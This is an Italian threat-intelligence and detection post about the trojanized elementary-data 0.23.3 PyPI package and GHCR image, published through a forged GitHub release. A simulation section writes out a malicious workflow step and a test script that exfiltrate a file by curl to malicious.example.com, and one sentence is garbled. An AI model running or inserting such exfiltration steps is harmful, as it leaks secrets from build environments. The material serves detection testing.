SOC Prime Bias: Critico

29 Apr 2026 14:42 UTC

Dati di Elementary compromessi su PyPI e GHCR tramite rilascio GitHub falsificato

Author Photo
SOC Prime Team linkedin icon Segui
Dati di Elementary compromessi su PyPI e GHCR tramite rilascio GitHub falsificato
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Una versione malevola del elementary-data pacchetto Python, versione 0.23.3, è stata caricata su PyPI, mentre un’immagine contenitore compromessa corrispondente è stata spinta anche su GitHub Container Registry. L’attaccante ha inserito codice malevolo in un flusso di lavoro Actions di GitHub, ha falsificato un rilascio firmato e poi ha abusato del token di workflow per pubblicare gli artefatti con backdoor. Il payload ha funzionato come un ladro di credenziali a tre fasi progettato per raccogliere segreti ed esfiltrarli verso un dominio controllato dall’attaccante. Qualsiasi ambiente che installasse il pacchetto interessato o tirasse l’ultima immagine contenitore era esposto a compromissioni.

Indagine

L’indagine ha scoperto che l’attacco è iniziato con un commento su una pull request aperta inserito direttamente in uno script di workflow, consentendo l’iniezione di script. Utilizzando il GITHUB_TOKENdel workflow, l’attaccante ha creato un commit di rilascio falsificato e ha attivato il processo di pubblicazione, che ha quindi distribuito la ruota trojanizzata e l’immagine Docker. L’analisi ha mostrato che un file .pth malevolo ha decodificato un wrapper Base64, decriptato il componente finale di raccolta e ha raccolto un ampio set di credenziali prima di inviarle a un dominio di comando e controllo personalizzato tramite curl.

Mitigazione

I manutentori del progetto hanno rimosso la versione malevola del pacchetto da PyPI e cancellato l’immagine compromessa da GHCR prima di pubblicare una sostituzione pulita, versione 0.23.4. StepSecurity ha aggiunto la versione malevola del pacchetto e il dominio controllato dall’attaccante alla lista nera di Harden-Runner e ha bloccato il pacchetto durante l’esecuzione della pull request. Gli sviluppatori dovrebbero fissare versioni esatte dei pacchetti e digest delle immagini, evitare di fare affidamento su tag variabili e controllare le dipendenze installate per .pth file inaspettati.

Risposta

I difensori dovrebbero cercare la presenza di elementary.pth all’interno di site-packages e identificare i sistemi che hanno tirato il digest dell’immagine Docker sospetta. Le connessioni in uscita al dominio di comando e controllo conosciuto dovrebbero essere bloccate immediatamente. I team di sicurezza dovrebbero scansionare le postazioni di lavoro degli sviluppatori e gli ambienti di costruzione per materiali segreti esposti, rimuovere eventuali pacchetti compromessi e ruotare le credenziali affette. Anche le pipeline CI/CD dovrebbero essere aggiornate per convalidare la provenienza del pacchetto e imporre delle immagini fissate rigorosamente.

Flusso di Attacco

## Esecuzione della Simulazione

Pre-requisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione riflettono direttamente le TTP identificate e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione dell’Attacco & Comandi:
    Un attaccante ha compromesso un repository che utilizza GitHub Actions per CI/CD. Aggiungono uno step malevolo al file del flusso di lavoro:

    - name: Esfiltrare dati
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Quando il flusso di lavoro viene eseguito sul runner di GitHub Actions, l’albero di processo appare così:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (processo padre)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (processo figlio)

    The auditd il record per il passaggio 2 contiene una riga di comando con bash e , soddisfacendo la condizione Sigma. and , soddisfacendo la condizione Sigma., satisfying the Sigma condition.

  • Script di Test Regressione:

    #!/usr/bin/env bash
    #
    # Simula lo step malevolo delle GitHub Actions che dovrebbe attivare la regola di rilevamento.
    # Crea un file temporaneo, scrive dati fittizi, poi esfiltra tramite curl avvolto in bash.
    
    set -euo pipefail
    
    # 1. Crea dati segreti fittizi
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "informazione_sensibile_$(date +%s)" > "$tmpfile"
    
    # 2. Esegui l'esfiltrazione usando il pattern vulnerabile
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Output di conferma per il tester
    echo "Esfiltrazione malevola simulata; il file temporaneo $tmpfile dovrebbe essere eliminato dalla pulizia."
  • Comandi di Pulizia:

    #!/usr/bin/env bash
    # Rimuovi eventuali file temporanei creati durante la simulazione
    rm -f /tmp/secret_data.*
    
    # Opzionalmente, ferma eventuali processi curl residui (non dovrebbe essere necessario)
    pkill -f "curl --data-binary" || true